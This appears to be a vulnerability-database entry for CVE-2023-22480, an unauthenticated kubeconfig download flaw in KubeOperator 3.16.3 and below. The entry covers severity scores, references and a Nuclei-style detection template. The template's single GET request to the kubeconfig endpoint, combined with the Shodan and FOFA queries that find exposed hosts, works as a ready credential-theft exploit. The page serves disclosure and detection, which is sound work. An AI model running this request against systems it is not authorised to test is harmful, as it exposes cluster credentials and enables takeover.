9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.3 High
AI Score
Confidence
High
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.023 Low
EPSS
Percentile
89.5%
KubeOperator is an open source Kubernetes distribution focused on helping enterprises plan, deploy and operate production-level K8s clusters. In KubeOperator versions 3.16.3 and below, API interfaces with unauthorized entities and can leak sensitive information. This vulnerability could be used to take over the cluster under certain conditions. This issue has been patched in version 3.16.4.
id: CVE-2023-22480
info:
name: KubeOperator Foreground `kubeconfig` - File Download
author: DhiyaneshDk
severity: critical
description: |
KubeOperator is an open source Kubernetes distribution focused on helping enterprises plan, deploy and operate production-level K8s clusters. In KubeOperator versions 3.16.3 and below, API interfaces with unauthorized entities and can leak sensitive information. This vulnerability could be used to take over the cluster under certain conditions. This issue has been patched in version 3.16.4.
impact: |
An attacker can download sensitive files from the KubeOperator Foreground kubeconfig file, potentially leading to unauthorized access or exposure of sensitive information.
remediation: |
Upgrade to the latest version to mitigate this vulnerability.
reference:
- https://github.com/KubeOperator/KubeOperator/security/advisories/GHSA-jxgp-jgh3-8jc8
- https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/webapp/KubeOperator/KubeOperator%20kubeconfig%20%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9E%20CVE-2023-22480.md?plain=1
- https://nvd.nist.gov/vuln/detail/CVE-2023-22480
- https://github.com/KubeOperator/KubeOperator/commit/7ef42bf1c16900d13e6376f8be5ecdbfdfb44aaf
- https://github.com/KubeOperator/KubeOperator/releases/tag/v3.16.4
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-22480
cwe-id: CWE-863,CWE-285
epss-score: 0.01487
epss-percentile: 0.86532
cpe: cpe:2.3:a:fit2cloud:kubeoperator:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: fit2cloud
product: kubeoperator
shodan-query: html:"KubeOperator"
fofa-query: app="KubeOperator"
tags: cve2023,cve,kubeoperator,k8s,kubeconfig,exposure,fit2cloud
http:
- method: GET
path:
- "{{BaseURL}}/api/v1/clusters/kubeconfig/k8s"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "apiVersion:"
- "clusters:"
condition: and
- type: word
part: header
words:
- "application/download"
- type: status
status:
- 200
# digest: 4b0a00483046022100ee12904d65e9c992c05a8c326ff56e80b778ef16acda7ced68f94e57609f2c58022100cb41bf91ee715b8d3da808ba74a8e3bf043eb12511541341d3ede714a88843e8:922c64590222798bb761d5b6d8e72950
github.com/KubeOperator/KubeOperator/commit/7ef42bf1c16900d13e6376f8be5ecdbfdfb44aaf
github.com/KubeOperator/KubeOperator/releases/tag/v3.16.4
github.com/KubeOperator/KubeOperator/security/advisories/GHSA-jxgp-jgh3-8jc8
github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/webapp/KubeOperator/KubeOperator%20kubeconfig%20%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9E%20CVE-2023-22480.md?plain=1
nvd.nist.gov/vuln/detail/CVE-2023-22480
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.3 High
AI Score
Confidence
High
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.023 Low
EPSS
Percentile
89.5%